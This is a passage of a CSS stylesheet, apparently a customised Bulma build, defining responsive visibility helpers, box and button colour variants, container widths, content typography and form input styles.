.is-inline-flex-desktop {\n display: inline-flex !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .is-inline-flex-desktop-only {\n display: inline-flex !important; } }\n\n@media screen and (min-width: 1280px) {\n .is-inline-flex-widescreen {\n display: inline-flex !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .is-inline-flex-widescreen-only {\n display: inline-flex !important; } }\n\n@media screen and (min-width: 1472px) {\n .is-inline-flex-fullhd {\n display: inline-flex !important; } }\n\n.is-hidden {\n display: none !important; }\n\n@media screen and (max-width: 768px) {\n .is-hidden-mobile {\n display: none !important; } }\n\n@media screen and (min-width: 769px), print {\n .is-hidden-tablet {\n display: none !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .is-hidden-tablet-only {\n display: none !important; } }\n\n@media screen and (max-width: 1087px) {\n .is-hidden-touch {\n display: none !important; } }\n\n@media screen and (min-width: 1088px) {\n .is-hidden-desktop {\n display: none !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .is-hidden-desktop-only {\n display: none !important; } }\n\n@media screen and (min-width: 1280px) {\n .is-hidden-widescreen {\n display: none !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .is-hidden-widescreen-only {\n display: none !important; } }\n\n@media screen and (min-width: 1472px) {\n .is-hidden-fullhd {\n display: none !important; } }\n\n.is-invisible {\n visibility: hidden !important; }\n\n@media screen and (max-width: 768px) {\n .is-invisible-mobile {\n visibility: hidden !important; } }\n\n@media screen and (min-width: 769px), print {\n .is-invisible-tablet {\n visibility: hidden !important; } }\n\n@media screen and (min-width: 769px) and (max-width: 1087px) {\n .is-invisible-tablet-only {\n visibility: hidden !important; } }\n\n@media screen and (max-width: 1087px) {\n .is-invisible-touch {\n visibility: hidden !important; } }\n\n@media screen and (min-width: 1088px) {\n .is-invisible-desktop {\n visibility: hidden !important; } }\n\n@media screen and (min-width: 1088px) and (max-width: 1279px) {\n .is-invisible-desktop-only {\n visibility: hidden !important; } }\n\n@media screen and (min-width: 1280px) {\n .is-invisible-widescreen {\n visibility: hidden !important; } }\n\n@media screen and (min-width: 1280px) and (max-width: 1471px) {\n .is-invisible-widescreen-only {\n visibility: hidden !important; } }\n\n@media screen and (min-width: 1472px) {\n .is-invisible-fullhd {\n visibility: hidden !important; } }\n\n.is-marginless {\n margin: 0 !important; }\n\n.is-paddingless {\n padding: 0 !important; }\n\n.is-radiusless {\n border-radius: 0 !important; }\n\n.is-shadowless {\n box-shadow: none !important; }\n\n.box {\n background-color: white;\n border-radius: 6px;\n box-shadow: 0 2px 3px rgba(10, 10, 10, 0.1), 0 0 0 1px rgba(10, 10, 10, 0.1);\n color: #4a4a4a;\n display: block;\n padding: 1.25rem; }\n\na.box:hover, a.box:focus {\n box-shadow: 0 2px 3px rgba(10, 10, 10, 0.1), 0 0 0 1px #3273dc; }\n\na.box:active {\n box-shadow: inset 0 1px 2px rgba(10, 10, 10, 0.2), 0 0 0 1px #3273dc; }\n\n.button {\n background-color: white;\n border-color: #dbdbdb;\n border-width: 1px;\n color: #363636;\n cursor: pointer;\n justify-content: center;\n padding-bottom: calc(0.375em - 1px);\n padding-left: 0.75em;\n padding-right: 0.75em;\n padding-top: calc(0.375em - 1px);\n text-align: center;\n white-space: nowrap; }\n .button strong {\n color: inherit; }\n .button .icon, .button .icon.is-small, .button .icon.is-medium, .button .icon.is-large {\n height: 1.5em;\n width: 1.5em; }\n .button .icon:first-child:not(:last-child) {\n margin-left: calc(-0.375em - 1px);\n margin-right: 0.1875em; }\n .button .icon:last-child:not(:first-child) {\n margin-left: 0.1875em;\n margin-right: calc(-0.375em - 1px); }\n .button .icon:first-child:last-child {\n margin-left: calc(-0.375em - 1px);\n margin-right: calc(-0.375em - 1px); }\n .button:hover, .button.is-hovered {\n border-color: #b5b5b5;\n color: #363636; }\n .button:focus, .button.is-focused {\n border-color: #3273dc;\n color: #363636; }\n .button:focus:not(:active), .button.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(50, 115, 220, 0.25); }\n .button:active, .button.is-active {\n border-color: #4a4a4a;\n color: #363636; }\n .button.is-text {\n background-color: transparent;\n border-color: transparent;\n color: #4a4a4a;\n text-decoration: underline; }\n .button.is-text:hover, .button.is-text.is-hovered, .button.is-text:focus, .button.is-text.is-focused {\n background-color: whitesmoke;\n color: #363636; }\n .button.is-text:active, .button.is-text.is-active {\n background-color: #e8e8e8;\n color: #363636; }\n .button.is-text[disabled] {\n background-color: transparent;\n border-color: transparent;\n box-shadow: none; }\n .button.is-white {\n background-color: white;\n border-color: transparent;\n color: #0a0a0a; }\n .button.is-white:hover, .button.is-white.is-hovered {\n background-color: #f9f9f9;\n border-color: transparent;\n color: #0a0a0a; }\n .button.is-white:focus, .button.is-white.is-focused {\n border-color: transparent;\n color: #0a0a0a; }\n .button.is-white:focus:not(:active), .button.is-white.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(255, 255, 255, 0.25); }\n .button.is-white:active, .button.is-white.is-active {\n background-color: #f2f2f2;\n border-color: transparent;\n color: #0a0a0a; }\n .button.is-white[disabled] {\n background-color: white;\n border-color: transparent;\n box-shadow: none; }\n .button.is-white.is-inverted {\n background-color: #0a0a0a;\n color: white; }\n .button.is-white.is-inverted:hover {\n background-color: black; }\n .button.is-white.is-inverted[disabled] {\n background-color: #0a0a0a;\n border-color: transparent;\n box-shadow: none;\n color: white; }\n .button.is-white.is-loading::after {\n border-color: transparent transparent #0a0a0a #0a0a0a !important; }\n .button.is-white.is-outlined {\n background-color: transparent;\n border-color: white;\n color: white; }\n .button.is-white.is-outlined:hover, .button.is-white.is-outlined:focus {\n background-color: white;\n border-color: white;\n color: #0a0a0a; }\n .button.is-white.is-outlined.is-loading::after {\n border-color: transparent transparent white white !important; }\n .button.is-white.is-outlined[disabled] {\n background-color: transparent;\n border-color: white;\n box-shadow: none;\n color: white; }\n .button.is-white.is-inverted.is-outlined {\n background-color: transparent;\n border-color: #0a0a0a;\n color: #0a0a0a; }\n .button.is-white.is-inverted.is-outlined:hover, .button.is-white.is-inverted.is-outlined:focus {\n background-color: #0a0a0a;\n color: white; }\n .button.is-white.is-inverted.is-outlined[disabled] {\n background-color: transparent;\n border-color: #0a0a0a;\n box-shadow: none;\n color: #0a0a0a; }\n .button.is-black {\n background-color: #0a0a0a;\n border-color: transparent;\n color: white; }\n .button.is-black:hover, .button.is-black.is-hovered {\n background-color: #040404;\n border-color: transparent;\n color: white; }\n .button.is-black:focus, .button.is-black.is-focused {\n border-color: transparent;\n color: white; }\n .button.is-black:focus:not(:active), .button.is-black.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(10, 10, 10, 0.25); }\n .button.is-black:active, .button.is-black.is-active {\n background-color: black;\n border-color: transparent;\n color: white; }\n .button.is-black[disabled] {\n background-color: #0a0a0a;\n border-color: transparent;\n box-shadow: none; }\n .button.is-black.is-inverted {\n background-color: white;\n color: #0a0a0a; }\n .button.is-black.is-inverted:hover {\n background-color: #f2f2f2; }\n .button.is-black.is-inverted[disabled] {\n background-color: white;\n border-color: transparent;\n box-shadow: none;\n color: #0a0a0a; }\n .button.is-black.is-loading::after {\n border-color: transparent transparent white white !important; }\n .button.is-black.is-outlined {\n background-color: transparent;\n border-color: #0a0a0a;\n color: #0a0a0a; }\n .button.is-black.is-outlined:hover, .button.is-black.is-outlined:focus {\n background-color: #0a0a0a;\n border-color: #0a0a0a;\n color: white; }\n .button.is-black.is-outlined.is-loading::after {\n border-color: transparent transparent #0a0a0a #0a0a0a !important; }\n .button.is-black.is-outlined[disabled] {\n background-color: transparent;\n border-color: #0a0a0a;\n box-shadow: none;\n color: #0a0a0a; }\n .button.is-black.is-inverted.is-outlined {\n background-color: transparent;\n border-color: white;\n color: white; }\n .button.is-black.is-inverted.is-outlined:hover, .button.is-black.is-inverted.is-outlined:focus {\n background-color: white;\n color: #0a0a0a; }\n .button.is-black.is-inverted.is-outlined[disabled] {\n background-color: transparent;\n border-color: white;\n box-shadow: none;\n color: white; }\n .button.is-light {\n background-color: whitesmoke;\n border-color: transparent;\n color: #363636; }\n .button.is-light:hover, .button.is-light.is-hovered {\n background-color: #eeeeee;\n border-color: transparent;\n color: #363636; }\n .button.is-light:focus, .button.is-light.is-focused {\n border-color: transparent;\n color: #363636; }\n .button.is-light:focus:not(:active), .button.is-light.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(245, 245, 245, 0.25); }\n .button.is-light:active, .button.is-light.is-active {\n background-color: #e8e8e8;\n border-color: transparent;\n color: #363636; }\n .button.is-light[disabled] {\n background-color: whitesmoke;\n border-color: transparent;\n box-shadow: none; }\n .button.is-light.is-inverted {\n background-color: #363636;\n color: whitesmoke; }\n .button.is-light.is-inverted:hover {\n background-color: #292929; }\n .button.is-light.is-inverted[disabled] {\n background-color: #363636;\n border-color: transparent;\n box-shadow: none;\n color: whitesmoke; }\n .button.is-light.is-loading::after {\n border-color: transparent transparent #363636 #363636 !important; }\n .button.is-light.is-outlined {\n background-color: transparent;\n border-color: whitesmoke;\n color: whitesmoke; }\n .button.is-light.is-outlined:hover, .button.is-light.is-outlined:focus {\n background-color: whitesmoke;\n border-color: whitesmoke;\n color: #363636; }\n .button.is-light.is-outlined.is-loading::after {\n border-color: transparent transparent whitesmoke whitesmoke !important; }\n .button.is-light.is-outlined[disabled] {\n background-color: transparent;\n border-color: whitesmoke;\n box-shadow: none;\n color: whitesmoke; }\n .button.is-light.is-inverted.is-outlined {\n background-color: transparent;\n border-color: #363636;\n color: #363636; }\n .button.is-light.is-inverted.is-outlined:hover, .button.is-light.is-inverted.is-outlined:focus {\n background-color: #363636;\n color: whitesmoke; }\n .button.is-light.is-inverted.is-outlined[disabled] {\n background-color: transparent;\n border-color: #363636;\n box-shadow: none;\n color: #363636; }\n .button.is-dark {\n background-color: #363636;\n border-color: transparent;\n color: whitesmoke; }\n .button.is-dark:hover, .button.is-dark.is-hovered {\n background-color: #2f2f2f;\n border-color: transparent;\n color: whitesmoke; }\n .button.is-dark:focus, .button.is-dark.is-focused {\n border-color: transparent;\n color: whitesmoke; }\n .button.is-dark:focus:not(:active), .button.is-dark.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(54, 54, 54, 0.25); }\n .button.is-dark:active, .button.is-dark.is-active {\n background-color: #292929;\n border-color: transparent;\n color: whitesmoke; }\n .button.is-dark[disabled] {\n background-color: #363636;\n border-color: transparent;\n box-shadow: none; }\n .button.is-dark.is-inverted {\n background-color: whitesmoke;\n color: #363636; }\n .button.is-dark.is-inverted:hover {\n background-color: #e8e8e8; }\n .button.is-dark.is-inverted[disabled] {\n background-color: whitesmoke;\n border-color: transparent;\n box-shadow: none;\n color: #363636; }\n .button.is-dark.is-loading::after {\n border-color: transparent transparent whitesmoke whitesmoke !important; }\n .button.is-dark.is-outlined {\n background-color: transparent;\n border-color: #363636;\n color: #363636; }\n .button.is-dark.is-outlined:hover, .button.is-dark.is-outlined:focus {\n background-color: #363636;\n border-color: #363636;\n color: whitesmoke; }\n .button.is-dark.is-outlined.is-loading::after {\n border-color: transparent transparent #363636 #363636 !important; }\n .button.is-dark.is-outlined[disabled] {\n background-color: transparent;\n border-color: #363636;\n box-shadow: none;\n color: #363636; }\n .button.is-dark.is-inverted.is-outlined {\n background-color: transparent;\n border-color: whitesmoke;\n color: whitesmoke; }\n .button.is-dark.is-inverted.is-outlined:hover, .button.is-dark.is-inverted.is-outlined:focus {\n background-color: whitesmoke;\n color: #363636; }\n .button.is-dark.is-inverted.is-outlined[disabled] {\n background-color: transparent;\n border-color: whitesmoke;\n box-shadow: none;\n color: whitesmoke; }\n .button.is-primary {\n background-color: #ff4300;\n border-color: transparent;\n color: #fff; }\n .button.is-primary:hover, .button.is-primary.is-hovered {\n background-color: #f24000;\n border-color: transparent;\n color: #fff; }\n .button.is-primary:focus, .button.is-primary.is-focused {\n border-color: transparent;\n color: #fff; }\n .button.is-primary:focus:not(:active), .button.is-primary.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(255, 67, 0, 0.25); }\n .button.is-primary:active, .button.is-primary.is-active {\n background-color: #e63c00;\n border-color: transparent;\n color: #fff; }\n .button.is-primary[disabled] {\n background-color: #ff4300;\n border-color: transparent;\n box-shadow: none; }\n .button.is-primary.is-inverted {\n background-color: #fff;\n color: #ff4300; }\n .button.is-primary.is-inverted:hover {\n background-color: #f2f2f2; }\n .button.is-primary.is-inverted[disabled] {\n background-color: #fff;\n border-color: transparent;\n box-shadow: none;\n color: #ff4300; }\n .button.is-primary.is-loading::after {\n border-color: transparent transparent #fff #fff !important; }\n .button.is-primary.is-outlined {\n background-color: transparent;\n border-color: #ff4300;\n color: #ff4300; }\n .button.is-primary.is-outlined:hover, .button.is-primary.is-outlined:focus {\n background-color: #ff4300;\n border-color: #ff4300;\n color: #fff; }\n .button.is-primary.is-outlined.is-loading::after {\n border-color: transparent transparent #ff4300 #ff4300 !important; }\n .button.is-primary.is-outlined[disabled] {\n background-color: transparent;\n border-color: #ff4300;\n box-shadow: none;\n color: #ff4300; }\n .button.is-primary.is-inverted.is-outlined {\n background-color: transparent;\n border-color: #fff;\n color: #fff; }\n .button.is-primary.is-inverted.is-outlined:hover, .button.is-primary.is-inverted.is-outlined:focus {\n background-color: #fff;\n color: #ff4300; }\n .button.is-primary.is-inverted.is-outlined[disabled] {\n background-color: transparent;\n border-color: #fff;\n box-shadow: none;\n color: #fff; }\n .button.is-link {\n background-color: #3273dc;\n border-color: transparent;\n color: #fff; }\n .button.is-link:hover, .button.is-link.is-hovered {\n background-color: #276cda;\n border-color: transparent;\n color: #fff; }\n .button.is-link:focus, .button.is-link.is-focused {\n border-color: transparent;\n color: #fff; }\n .button.is-link:focus:not(:active), .button.is-link.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(50, 115, 220, 0.25); }\n .button.is-link:active, .button.is-link.is-active {\n background-color: #2366d1;\n border-color: transparent;\n color: #fff; }\n .button.is-link[disabled] {\n background-color: #3273dc;\n border-color: transparent;\n box-shadow: none; }\n .button.is-link.is-inverted {\n background-color: #fff;\n color: #3273dc; }\n .button.is-link.is-inverted:hover {\n background-color: #f2f2f2; }\n .button.is-link.is-inverted[disabled] {\n background-color: #fff;\n border-color: transparent;\n box-shadow: none;\n color: #3273dc; }\n .button.is-link.is-loading::after {\n border-color: transparent transparent #fff #fff !important; }\n .button.is-link.is-outlined {\n background-color: transparent;\n border-color: #3273dc;\n color: #3273dc; }\n .button.is-link.is-outlined:hover, .button.is-link.is-outlined:focus {\n background-color: #3273dc;\n border-color: #3273dc;\n color: #fff; }\n .button.is-link.is-outlined.is-loading::after {\n border-color: transparent transparent #3273dc #3273dc !important; }\n .button.is-link.is-outlined[disabled] {\n background-color: transparent;\n border-color: #3273dc;\n box-shadow: none;\n color: #3273dc; }\n .button.is-link.is-inverted.is-outlined {\n background-color: transparent;\n border-color: #fff;\n color: #fff; }\n .button.is-link.is-inverted.is-outlined:hover, .button.is-link.is-inverted.is-outlined:focus {\n background-color: #fff;\n color: #3273dc; }\n .button.is-link.is-inverted.is-outlined[disabled] {\n background-color: transparent;\n border-color: #fff;\n box-shadow: none;\n color: #fff; }\n .button.is-info {\n background-color: #209cee;\n border-color: transparent;\n color: #fff; }\n .button.is-info:hover, .button.is-info.is-hovered {\n background-color: #1496ed;\n border-color: transparent;\n color: #fff; }\n .button.is-info:focus, .button.is-info.is-focused {\n border-color: transparent;\n color: #fff; }\n .button.is-info:focus:not(:active), .button.is-info.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(32, 156, 238, 0.25); }\n .button.is-info:active, .button.is-info.is-active {\n background-color: #118fe4;\n border-color: transparent;\n color: #fff; }\n .button.is-info[disabled] {\n background-color: #209cee;\n border-color: transparent;\n box-shadow: none; }\n .button.is-info.is-inverted {\n background-color: #fff;\n color: #209cee; }\n .button.is-info.is-inverted:hover {\n background-color: #f2f2f2; }\n .button.is-info.is-inverted[disabled] {\n background-color: #fff;\n border-color: transparent;\n box-shadow: none;\n color: #209cee; }\n .button.is-info.is-loading::after {\n border-color: transparent transparent #fff #fff !important; }\n .button.is-info.is-outlined {\n background-color: transparent;\n border-color: #209cee;\n color: #209cee; }\n .button.is-info.is-outlined:hover, .button.is-info.is-outlined:focus {\n background-color: #209cee;\n border-color: #209cee;\n color: #fff; }\n .button.is-info.is-outlined.is-loading::after {\n border-color: transparent transparent #209cee #209cee !important; }\n .button.is-info.is-outlined[disabled] {\n background-color: transparent;\n border-color: #209cee;\n box-shadow: none;\n color: #209cee; }\n .button.is-info.is-inverted.is-outlined {\n background-color: transparent;\n border-color: #fff;\n color: #fff; }\n .button.is-info.is-inverted.is-outlined:hover, .button.is-info.is-inverted.is-outlined:focus {\n background-color: #fff;\n color: #209cee; }\n .button.is-info.is-inverted.is-outlined[disabled] {\n background-color: transparent;\n border-color: #fff;\n box-shadow: none;\n color: #fff; }\n .button.is-success {\n background-color: #23d160;\n border-color: transparent;\n color: #fff; }\n .button.is-success:hover, .button.is-success.is-hovered {\n background-color: #22c65b;\n border-color: transparent;\n color: #fff; }\n .button.is-success:focus, .button.is-success.is-focused {\n border-color: transparent;\n color: #fff; }\n .button.is-success:focus:not(:active), .button.is-success.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(35, 209, 96, 0.25); }\n .button.is-success:active, .button.is-success.is-active {\n background-color: #20bc56;\n border-color: transparent;\n color: #fff; }\n .button.is-success[disabled] {\n background-color: #23d160;\n border-color: transparent;\n box-shadow: none; }\n .button.is-success.is-inverted {\n background-color: #fff;\n color: #23d160; }\n .button.is-success.is-inverted:hover {\n background-color: #f2f2f2; }\n .button.is-success.is-inverted[disabled] {\n background-color: #fff;\n border-color: transparent;\n box-shadow: none;\n color: #23d160; }\n .button.is-success.is-loading::after {\n border-color: transparent transparent #fff #fff !important; }\n .button.is-success.is-outlined {\n background-color: transparent;\n border-color: #23d160;\n color: #23d160; }\n .button.is-success.is-outlined:hover, .button.is-success.is-outlined:focus {\n background-color: #23d160;\n border-color: #23d160;\n color: #fff; }\n .button.is-success.is-outlined.is-loading::after {\n border-color: transparent transparent #23d160 #23d160 !important; }\n .button.is-success.is-outlined[disabled] {\n background-color: transparent;\n border-color: #23d160;\n box-shadow: none;\n color: #23d160; }\n .button.is-success.is-inverted.is-outlined {\n background-color: transparent;\n border-color: #fff;\n color: #fff; }\n .button.is-success.is-inverted.is-outlined:hover, .button.is-success.is-inverted.is-outlined:focus {\n background-color: #fff;\n color: #23d160; }\n .button.is-success.is-inverted.is-outlined[disabled] {\n background-color: transparent;\n border-color: #fff;\n box-shadow: none;\n color: #fff; }\n .button.is-warning {\n background-color: #ffdd57;\n border-color: transparent;\n color: rgba(0, 0, 0, 0.7); }\n .button.is-warning:hover, .button.is-warning.is-hovered {\n background-color: #ffdb4a;\n border-color: transparent;\n color: rgba(0, 0, 0, 0.7); }\n .button.is-warning:focus, .button.is-warning.is-focused {\n border-color: transparent;\n color: rgba(0, 0, 0, 0.7); }\n .button.is-warning:focus:not(:active), .button.is-warning.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(255, 221, 87, 0.25); }\n .button.is-warning:active, .button.is-warning.is-active {\n background-color: #ffd83d;\n border-color: transparent;\n color: rgba(0, 0, 0, 0.7); }\n .button.is-warning[disabled] {\n background-color: #ffdd57;\n border-color: transparent;\n box-shadow: none; }\n .button.is-warning.is-inverted {\n background-color: rgba(0, 0, 0, 0.7);\n color: #ffdd57; }\n .button.is-warning.is-inverted:hover {\n background-color: rgba(0, 0, 0, 0.7); }\n .button.is-warning.is-inverted[disabled] {\n background-color: rgba(0, 0, 0, 0.7);\n border-color: transparent;\n box-shadow: none;\n color: #ffdd57; }\n .button.is-warning.is-loading::after {\n border-color: transparent transparent rgba(0, 0, 0, 0.7) rgba(0, 0, 0, 0.7) !important; }\n .button.is-warning.is-outlined {\n background-color: transparent;\n border-color: #ffdd57;\n color: #ffdd57; }\n .button.is-warning.is-outlined:hover, .button.is-warning.is-outlined:focus {\n background-color: #ffdd57;\n border-color: #ffdd57;\n color: rgba(0, 0, 0, 0.7); }\n .button.is-warning.is-outlined.is-loading::after {\n border-color: transparent transparent #ffdd57 #ffdd57 !important; }\n .button.is-warning.is-outlined[disabled] {\n background-color: transparent;\n border-color: #ffdd57;\n box-shadow: none;\n color: #ffdd57; }\n .button.is-warning.is-inverted.is-outlined {\n background-color: transparent;\n border-color: rgba(0, 0, 0, 0.7);\n color: rgba(0, 0, 0, 0.7); }\n .button.is-warning.is-inverted.is-outlined:hover, .button.is-warning.is-inverted.is-outlined:focus {\n background-color: rgba(0, 0, 0, 0.7);\n color: #ffdd57; }\n .button.is-warning.is-inverted.is-outlined[disabled] {\n background-color: transparent;\n border-color: rgba(0, 0, 0, 0.7);\n box-shadow: none;\n color: rgba(0, 0, 0, 0.7); }\n .button.is-danger {\n background-color: #ff3860;\n border-color: transparent;\n color: #fff; }\n .button.is-danger:hover, .button.is-danger.is-hovered {\n background-color: #ff2b56;\n border-color: transparent;\n color: #fff; }\n .button.is-danger:focus, .button.is-danger.is-focused {\n border-color: transparent;\n color: #fff; }\n .button.is-danger:focus:not(:active), .button.is-danger.is-focused:not(:active) {\n box-shadow: 0 0 0 0.125em rgba(255, 56, 96, 0.25); }\n .button.is-danger:active, .button.is-danger.is-active {\n background-color: #ff1f4b;\n border-color: transparent;\n color: #fff; }\n .button.is-danger[disabled] {\n background-color: #ff3860;\n border-color: transparent;\n box-shadow: none; }\n .button.is-danger.is-inverted {\n background-color: #fff;\n color: #ff3860; }\n .button.is-danger.is-inverted:hover {\n background-color: #f2f2f2; }\n .button.is-danger.is-inverted[disabled] {\n background-color: #fff;\n border-color: transparent;\n box-shadow: none;\n color: #ff3860; }\n .button.is-danger.is-loading::after {\n border-color: transparent transparent #fff #fff !important; }\n .button.is-danger.is-outlined {\n background-color: transparent;\n border-color: #ff3860;\n color: #ff3860; }\n .button.is-danger.is-outlined:hover, .button.is-danger.is-outlined:focus {\n background-color: #ff3860;\n border-color: #ff3860;\n color: #fff; }\n .button.is-danger.is-outlined.is-loading::after {\n border-color: transparent transparent #ff3860 #ff3860 !important; }\n .button.is-danger.is-outlined[disabled] {\n background-color: transparent;\n border-color: #ff3860;\n box-shadow: none;\n color: #ff3860; }\n .button.is-danger.is-inverted.is-outlined {\n background-color: transparent;\n border-color: #fff;\n color: #fff; }\n .button.is-danger.is-inverted.is-outlined:hover, .button.is-danger.is-inverted.is-outlined:focus {\n background-color: #fff;\n color: #ff3860; }\n .button.is-danger.is-inverted.is-outlined[disabled] {\n background-color: transparent;\n border-color: #fff;\n box-shadow: none;\n color: #fff; }\n .button.is-small {\n border-radius: 2px;\n font-size: 0.75rem; }\n .button.is-medium {\n font-size: 1.25rem; }\n .button.is-large {\n font-size: 1.5rem; }\n .button[disabled] {\n background-color: white;\n border-color: #dbdbdb;\n box-shadow: none;\n opacity: 0.5; }\n .button.is-fullwidth {\n display: flex;\n width: 100%; }\n .button.is-loading {\n color: transparent !important;\n pointer-events: none; }\n .button.is-loading::after {\n position: absolute;\n left: calc(50% - (1em / 2));\n top: calc(50% - (1em / 2));\n position: absolute !important; }\n .button.is-static {\n background-color: whitesmoke;\n border-color: #dbdbdb;\n color: #7a7a7a;\n box-shadow: none;\n pointer-events: none; }\n .button.is-rounded {\n border-radius: 290486px;\n padding-left: 1em;\n padding-right: 1em; }\n\n.buttons {\n align-items: center;\n display: flex;\n flex-wrap: wrap;\n justify-content: flex-start; }\n .buttons .button {\n margin-bottom: 0.5rem; }\n .buttons .button:not(:last-child) {\n margin-right: 0.5rem; }\n .buttons:last-child {\n margin-bottom: -0.5rem; }\n .buttons:not(:last-child) {\n margin-bottom: 1rem; }\n .buttons.has-addons .button:not(:first-child) {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0; }\n .buttons.has-addons .button:not(:last-child) {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n margin-right: -1px; }\n .buttons.has-addons .button:last-child {\n margin-right: 0; }\n .buttons.has-addons .button:hover, .buttons.has-addons .button.is-hovered {\n z-index: 2; }\n .buttons.has-addons .button:focus, .buttons.has-addons .button.is-focused, .buttons.has-addons .button:active, .buttons.has-addons .button.is-active, .buttons.has-addons .button.is-selected {\n z-index: 3; }\n .buttons.has-addons .button:focus:hover, .buttons.has-addons .button.is-focused:hover, .buttons.has-addons .button:active:hover, .buttons.has-addons .button.is-active:hover, .buttons.has-addons .button.is-selected:hover {\n z-index: 4; }\n .buttons.has-addons .button.is-expanded {\n flex-grow: 1; }\n .buttons.is-centered {\n justify-content: center; }\n .buttons.is-right {\n justify-content: flex-end; }\n\n.container {\n margin: 0 auto;\n position: relative; }\n @media screen and (min-width: 1088px) {\n .container {\n max-width: 960px;\n width: 960px; }\n .container.is-fluid {\n margin-left: 64px;\n margin-right: 64px;\n max-width: none;\n width: auto; } }\n @media screen and (max-width: 1279px) {\n .container.is-widescreen {\n max-width: 1152px;\n width: auto; } }\n @media screen and (max-width: 1471px) {\n .container.is-fullhd {\n max-width: 1344px;\n width: auto; } }\n @media screen and (min-width: 1280px) {\n .container {\n max-width: 1152px;\n width: 1152px; } }\n @media screen and (min-width: 1472px) {\n .container {\n max-width: 1344px;\n width: 1344px; } }\n\n.content li + li {\n margin-top: 0.25em; }\n\n.content p:not(:last-child),\n.content dl:not(:last-child),\n.content ol:not(:last-child),\n.content ul:not(:last-child),\n.content blockquote:not(:last-child),\n.content pre:not(:last-child),\n.content table:not(:last-child) {\n margin-bottom: 1em; }\n\n.content h1,\n.content h2,\n.content h3,\n.content h4,\n.content h5,\n.content h6 {\n color: #363636;\n font-weight: 600;\n line-height: 1.125; }\n\n.content h1 {\n font-size: 2em;\n margin-bottom: 0.5em; }\n .content h1:not(:first-child) {\n margin-top: 1em; }\n\n.content h2 {\n font-size: 1.75em;\n margin-bottom: 0.5714em; }\n .content h2:not(:first-child) {\n margin-top: 1.1428em; }\n\n.content h3 {\n font-size: 1.5em;\n margin-bottom: 0.6666em; }\n .content h3:not(:first-child) {\n margin-top: 1.3333em; }\n\n.content h4 {\n font-size: 1.25em;\n margin-bottom: 0.8em; }\n\n.content h5 {\n font-size: 1.125em;\n margin-bottom: 0.8888em; }\n\n.content h6 {\n font-size: 1em;\n margin-bottom: 1em; }\n\n.content blockquote {\n background-color: whitesmoke;\n border-left: 5px solid #dbdbdb;\n padding: 1.25em 1.5em; }\n\n.content ol {\n list-style: decimal outside;\n margin-left: 2em;\n margin-top: 1em; }\n\n.content ul {\n list-style: disc outside;\n margin-left: 2em;\n margin-top: 1em; }\n .content ul ul {\n list-style-type: circle;\n margin-top: 0.5em; }\n .content ul ul ul {\n list-style-type: square; }\n\n.content dd {\n margin-left: 2em; }\n\n.content figure {\n margin-left: 2em;\n margin-right: 2em;\n text-align: center; }\n .content figure:not(:first-child) {\n margin-top: 2em; }\n .content figure:not(:last-child) {\n margin-bottom: 2em; }\n .content figure img {\n display: inline-block; }\n .content figure figcaption {\n font-style: italic; }\n\n.content pre {\n -webkit-overflow-scrolling: touch;\n overflow-x: auto;\n padding: 1.25em 1.5em;\n white-space: pre;\n word-wrap: normal; }\n\n.content sup,\n.content sub {\n font-size: 75%; }\n\n.content table {\n width: 100%; }\n .content table td,\n .content table th {\n border: 1px solid #dbdbdb;\n border-width: 0 0 1px;\n padding: 0.5em 0.75em;\n vertical-align: top; }\n .content table th {\n color: #363636;\n text-align: left; }\n .content table thead td,\n .content table thead th {\n border-width: 0 0 2px;\n color: #363636; }\n .content table tfoot td,\n .content table tfoot th {\n border-width: 2px 0 0;\n color: #363636; }\n .content table tbody tr:last-child td,\n .content table tbody tr:last-child th {\n border-bottom-width: 0; }\n\n.content.is-small {\n font-size: 0.75rem; }\n\n.content.is-medium {\n font-size: 1.25rem; }\n\n.content.is-large {\n font-size: 1.5rem; }\n\n.input,\n.textarea {\n background-color: white;\n border-color: #dbdbdb;\n color: #363636;\n box-shadow: inset 0 1px 2px rgba(10, 10, 10, 0.1);\n max-width: 100%;\n width: 100%; }\n .input::-moz-placeholder,\n .textarea::-moz-placeholder {\n color: rgba(54, 54, 54, 0.3); }\n .input::-webkit-input-placeholder,\n .textarea::-webkit-input-placeholder {\n color: rgba(54, 54, 54, 0.3); }\n .input:-moz-placeholder,\n .textarea:-moz-placeholder {\n color: rgba(54, 54, 54, 0.3); }\n .input:-ms-input-placeholder,\n .textarea:-ms-input-placeholder {\n color: rgba(54, 54, 54, 0.3); }\n .input:hover, .input.is-hovered,\n .textarea:hover,\n .textarea.is-hovered {\n border-color: #b5b5b5; }\n .input:focus, .input.is-focused, .input:active, .input.is-active,\n .textarea:focus,\n .textarea.is-focused,\n .textarea:active,\n .textarea.is-active {\n border-color: #3273dc;\n box-shadow: 0 0 0 0.125em rgba(50, 115, 220, 0.25); }\n .input[disabled],\n .textarea[disabled] {\n background-color: whitesmoke;\n border-color: whitesmoke;\n box-shadow: none;\n color: #7a7a7a; }\n .input[disabled]::-moz-placeholder,\n .textarea[disabled]::-moz-placeholder {\n color: rgba(122, 122, 122, 0.3); }\n .input[disabled]::-webkit-input-placeholder,\n .textarea[disabled]::-webkit-input-placeholder {\n color: rgba(122, 122, 122, 0.3); }\n .input[disabled]:-moz-placeholder,\n .textarea[disabled]:-moz-placeholder {\n color: rgba(122, 122, 122, 0.3); }\n .input[disabled]:-ms-input-placeholder,\n .textarea[disabled]:-ms-input-placeholder {\n color: rgba(122, 122, 122, 0.3); }\n .input[readonly],\n .textarea[readonly] {\n box-shadow: none; }\n .input.is-white,\n .textarea.is-white {\n border-color: white; }\n 